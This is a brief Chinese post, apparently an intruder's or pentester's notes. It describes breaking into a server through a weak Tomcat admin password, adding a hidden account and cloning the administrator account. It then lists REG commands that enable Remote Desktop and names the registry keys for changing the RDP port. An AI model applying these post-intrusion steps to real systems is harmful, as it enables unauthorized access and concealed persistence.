使用了tomcat的后台管理弱口令，上传，然后执行命令添加隐藏帐户，并克隆administrator获取系统最高管理权限。
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
端口重定义
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\
Terminal Server\Wds\Repwd\Tds\Tcp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer \WinStations
更改portnumber值
阅读(660) | 评论(0) | 转发(0) |
